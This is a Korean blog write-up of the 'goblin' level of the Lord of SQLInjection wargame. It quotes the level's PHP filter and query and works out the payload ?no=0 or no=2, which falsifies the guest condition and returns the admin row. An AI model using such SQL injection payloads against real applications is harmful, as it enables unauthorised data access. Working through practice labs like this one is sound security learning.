Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

blacksalamander

goblin 본문

Lord of SQLInjection

goblin

검은도롱뇽 2020. 2. 22. 18:18

Source Code

 

 

 

Analysis

 

Source Code에 대한 자세한 설명은 아래 링크로 이동하길 바란다.

<?php
  ...
  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
  
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
  
  ...
  
  if($result['id'] == 'admin') solve("goblin");
  
  ...
?>

 

no를 GET 방식으로 입력하며 정규식 패턴은 prob, _, ., (, ), ', ", `이며 대소문자 구분이 없다.

 

query 문을 해석하면, prob_goblin , prob_goblin 테이블에서 id가 guest이고 no가 GET 방식으로 입력한 no일 때 id를 출력하라 라고 볼 수 있다.

 

마지막으로, id가 admin이어야 한다.

 

 

Injection

 

먼저, no에 값을 입력했을 때 반응을 파악해보도록 한다.

 

no에 여러 값들을 넣어서 확인한 결과,

1을 입력했을 때 Hello guest 라는 문구를 띄우며 반응하는 것을 확인했으며 정수를 입력 받는 것으로 판단된다.

 

 

no 값에 따라 id가 달라지는 것을 확인했으므로

query 문의 where 절에서 id='guest' and no={$_GET}을 False로 만들어주고

id가 admin인 no 값을 입력하면 성공할 것으로 예상된다.

 

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=value

-> $query = "select id from prob_goblin where id='guest' and no=0 or no=value"
-> $query = "select id from prob_goblin where False or no=value"

URL에 ?no=0 or no=value 같은 형태로 입력한다.

 

처음 no 값에 0을 입력하여 False로 만들어주며

다음 no 값인 value에 id가 admin인 no 값을 입력한다.

 

no에 여러 값들을 넣어서 확인한 결과, 2를 입력했을 때 Hello admin 라는 문구를 띄우며 성공한다.

 

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=2

URL에 ?no=0 or no=2을 입력한다.

 

 

 

 

'Lord of SQLInjection' 카테고리의 다른 글

cobolt  (0) 2020.02.16
gremlin  (0) 2020.02.15